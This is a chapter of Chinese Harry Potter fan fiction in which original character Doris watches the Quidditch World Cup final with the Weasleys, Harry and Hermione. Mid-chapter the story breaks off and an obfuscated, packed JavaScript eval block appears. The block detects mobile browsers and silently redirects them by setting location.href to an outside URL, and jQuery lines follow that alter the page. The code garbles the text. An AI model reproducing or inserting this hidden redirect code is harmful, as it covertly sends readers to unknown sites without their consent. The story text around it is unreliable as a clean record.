“比赛的第一项是各个球队带来的吉祥物的表演，”多丽丝翻开那本紫色天鹅绒封面的比赛说明书，想到了小时候去参加芭蕾舞演出时在场馆外穿着玩偶服到处跳舞合影的工作人员，但直觉告诉她魔法界的吉祥物绝对不会是这样的，“吉祥物？”


    “啊，那永远是值得一看的，”韦斯莱先生兴奋地推了推眼镜，“每个国家队会从本国带来一些稀奇的动物，要在这里做一番表演。”


    话音刚落，卢多·巴格曼就急匆匆地跑进了顶层包厢，圆圆的娃娃脸都因为激动而挤出了几丝皱纹。


    “可以开始了吗？部长？”他搓了搓手，急不可待地问。


    “你说开始就开始吧，卢多。”福吉和蔼地说。


    巴格曼把魔杖对准自己的喉咙，大声念道：“声音洪亮！”


    紧接着，他的声音就像是通过了全景声音响一样响彻了体育馆。


    “女士们，先生们，晚上好！欢迎大家来到第422届魁地奇世界杯决赛！”


    他的声音像雷鸣一样在他们的头顶上盘旋，整个体育馆一下子变得鸦雀无声，很快又变得掌声雷动。


    “谢谢......谢谢......”巴格曼擦了擦脸上因兴奋而沁出的汗水，“那么，闲话少说，让我们欢迎——保加利亚国家队的吉祥物！”


    体育馆右侧的一块红色方阵爆发出一阵整齐的欢呼声。


    “啊——他们带来了——是媚娃！”韦斯莱先生把眼镜在袍子上擦了擦，声音难掩激动之情。


    多丽丝刚想问问什么是媚娃，接着她就看到了，约莫一百只媚娃已经缓缓走向了赛场——与其说是走向赛场，不如说她们是飘过来的，她们似乎不需要像普通人类一样一步一步地走过来，像是多丽丝在电视上看到过的花样滑冰演员一样滑行过来的。媚娃们在场地内站定，开始跳起了一种极其优美的舞蹈，多丽丝从来没有见过这么美丽的东西，她们洁白的皮肤仿佛泛着月光一般柔和的银光，她们的头发像是用一根根极细的银丝做的，即使没有风也在脑后轻轻飘扬着，却散发着比她们的皮肤还要柔美的光芒。媚娃的身上似乎有一种魔力，她们似乎什么都不用做，就能让人们感到由衷的喜悦。


    身边的杰奎琳一下子握紧了自己的手，金妮也是如此，她们从椅子上站了起来，想要更清楚地看看她们。


    多丽丝回过头去，想和哈利分享一下自己的感受，可随即她愣住了。


    哈利正把一条腿架在包厢前的栏杆上，好像准备从包厢里翻出去，在他的旁边，罗恩正站在他的座位上，摆出了一副要从跳水板上跳水的姿势。


    “哈利——你在干什么？”多丽丝和赫敏异口同声地说道。


    “嗯？”哈利这才回过神来，有些精神恍惚地说。


    “你要跳下去参加比赛吗？”多丽丝有些难以置信地问，“你的火弩箭可还摆在陋居呢！”


    音乐声戛然而止，媚娃们已经退到场边，体育馆里响起一阵愤怒的吼声，显然大部分人都不愿意媚娃离开。


    “好像媚娃对男生的影响更大一些，”多丽丝说，“好像我们都还好——至少没做什么荒唐的举动。”


    “确实是这样的，”韦斯莱先生说，“所以媚娃才更偏向于被当做一种魔法生物啊。”


    “接下来让我们有请——爱尔兰国家队带来的吉祥物！”


    “嗖——”的一声，一个巨大的、绿色和金色相间的东西从体育馆敞开的顶棚飞了进来，“哗啦——”一声，好似烟火绽放一般，无数个星星一样的东西如雨点般散落到了体育馆的各个角落——无数个穿着红马甲、留着白胡子的小人正从口袋里向外抛洒着什么，那些东西如金色的雨点一般噼里啪啦地掉了下来。


    “是金币！”多丽丝不可思议地看着落在自己手上的金色圆形物，“太有趣了！”


    “是爱尔兰小矮妖！”韦斯莱先生也和他们一样高兴，整个体育馆的人也是如此，多丽丝甚至看到有人举着自己的礼帽去接。


    “给！”杰奎琳捧着一捧金币，给他们每个人都分了一点，“讨个彩头。”


    爱尔兰小矮妖也退场了，卢多·巴格曼的音量只增不减：“现在——让我们欢迎——保加利亚国家魁地奇队的队员！”


    巴格曼每报出一个队员的名字，场馆里都爆发出一阵热烈的掌声，红色的浪潮一阵高过一阵，当他们的找球手——威克多尔·克鲁姆出场时，观众的呐喊声恨不得把场馆的穹顶（虽然场馆是露天的）都掀翻了。虽然多丽丝不了解魁地奇，但她也能看出来克鲁姆的飞行技巧确实是一等一的优秀，他似乎根本不需要借助扫帚就能在空中自由地飞。多丽丝的旁边，两架全景望远镜齐刷刷地亮了出来，罗恩正疯狂地调着望远镜上的旋钮，哈利的望远镜也一直跟着克鲁姆的飞行轨迹移动。


    “你真应该买一架的，”哈利的语气听上去惋惜极了，“真的比肉眼看的要精彩得多。”


    多丽丝心想就算自己拿了望远镜，估计也会目不暇接到不知道看哪里，但她实在不忍心破坏哈利此时的心情，因此她只是配合着笑了笑，没有说什么其他的话。


    观众给爱尔兰队的掌声只增不减，七个模糊的绿色身影在一阵比一阵高的声浪中在球场四处窜梭。待到比赛正式开始，多丽丝这才知道什么叫做顶级的魁地奇赛事，鬼飞球仿佛一个没有重量的皮球一般，被队员们抛来接去，快得就像一直在空中飞一样，巴格曼只能来得及报出他们的名字。


    “我告诉过你！”金妮的声音带着些被风声撕扯后的破碎感，“爱尔兰的七名队员都很顶级，尤其是他们的追球手！”


    “没错，”查理看起来比金妮要理性一点，冷静地分析道，“保加利亚如果想赢，基本只能看克鲁姆能不能抓住金色飞贼了——还必须是在比分差距小于150分的情况下！”


    “所以我们认为我们绝对能赌赢！”乔治的声音从后排传来，“对吧，弗雷德？”


    “你们赌了什么？”多丽丝好奇地问。


    “赌爱尔兰会获胜，但是克鲁姆会抓住金色飞贼，”弗雷德说，“巴格曼那个蠢货直接说不可能，给了很高的赔率。”


    “你们这么说一位司长......”


    可是没有人理会珀西的不满，场上的战况实在是太精彩了，多丽丝感觉自己两只眼睛都要不够用了，她只能通过大屏幕上不断增加的爱尔兰队的比分来判断战况。


    “快看！”赫敏的尖叫声传来，多丽丝顺着她手指的方向看去，两名找球手正带着越来越快的速度向下俯冲，眼看着就要撞到了地上——


    “他们要撞到地上了！”多丽丝看着他们越来越快的俯冲，感觉到了一阵恶心和紧张，她的心就和她第一次骑上扫帚时一样揪了起来。


    然而她只猜对了一半。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333945|166648||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在最后那么零点几秒，克鲁姆迅速调转扫帚，向上盘旋着飞走了，而爱尔兰的找球手艾丹·林齐因为反应不及，重重地摔在了地上。鼻血流了一地。


    “傻瓜！”弗雷德惋惜地喊道，“克鲁姆是在做假动作！”


    “为什么呢？”多丽丝问，觉得自己对于魁地奇的知识实在是匮乏得可怕。


    “为了消耗林齐的体力，”查理说，“爱尔兰领先这么多，如果不这么做的话，恐怕比赛比到半夜也比不完。”


    查理说得对——比赛已经陷入胶着了，双方的队员都铆足了力气，谁也不让谁，比赛也渐渐变得不文明了起来。


    在双方不知道经历了多少次罚球之后、在场边的媚娃和小矮妖差点打起来之后，爱尔兰队的一位击球手奋力一击，游走球不偏不倚地击中了克鲁姆的鼻子——紧接着，他和林齐刚刚一样，鼻血飞溅。


    裁判似乎很想去管，但他自己已经有些自身难保，媚娃和小矮妖已经扭打在了一起，正好把他围在了中间，他很努力地想脱身，但似乎都是徒劳，最后，他把魔杖指向天空，敲出了一声巨响，这才微微镇住了场面。


    保加利亚队的场地医生很焦急地想让克鲁姆下来接受治疗，可克鲁姆根本没听到，紧接着，又是似曾相识的一幕——两位找球手同时向下俯冲，速度甚至比刚刚还要快。


    “这次是真的了！”哈利的声音简直能震碎多丽丝的耳膜。多丽丝抬头看了一眼屏幕上的计分板，上面写着：爱尔兰：170，保加利亚：10


    “他们又要撞到地上了！”


    “不会的！”


    “林齐会的！”


    哈利再一次说对了，林齐第二次重重地摔在了地上，几名场地医生迅速冲进场内，林齐第二次的伤势看起来比第一次要严重得多，多丽丝的关注点一直在受伤的林齐身上，根本没有注意到计分板上已经变成了：爱尔兰：170，保加利亚：160。


    “金色飞贼呢？金色飞贼去哪了？”


    “他抓住了！克鲁姆抓住了！比赛结束了！”


    “我不敢相信！”多丽丝转头对着弗雷德和乔治说，毕竟从她看的少得可怜的几场魁地奇比赛的经验来看，抓住金色飞贼基本上等于是稳操胜券，“你们居然赌对了！”


    “啊哈，我们赢了！”弗雷德重重地拍了一下乔治的肩膀，两人直接在解说员的台子旁边堵住了巴格曼，笑嘻嘻地对上了他。


    “他们的精力可真旺盛。”女生帐篷里静悄悄的，只剩下金妮和杰奎琳小声讨论比赛的声音，多丽丝听着从隔壁男生们的帐篷里传来的欢呼声，听着营地里爱尔兰人庆祝胜利的游行的声音，努力地在这些噪音里尝试入睡，结果发现这几乎是不可能的事情。


    多丽丝躺在床上——谢天谢地，帐篷里的床铺倒是意外的舒适，感受身体整个陷进柔软的床垫里的感觉，迷迷糊糊地不知道怎么也睡着了。


    她梦见自己骑上了飞天扫帚，在班弗迪的那块巨大的垫子上盘旋——这次她倒是一点都不怕了，意外地觉得自己的飞行技术还不错，可台下的人看起来确实提心吊胆的，她听到赫敏的声音远远地传来：“快下来！”——


    她猛地睁开眼，看见赫敏已经从床上下来了——她们俩睡的双层床，多丽丝揉着眼睛从上铺坐起身来。


    “快下来！没时间了！罗恩的爸爸说有紧急情况！”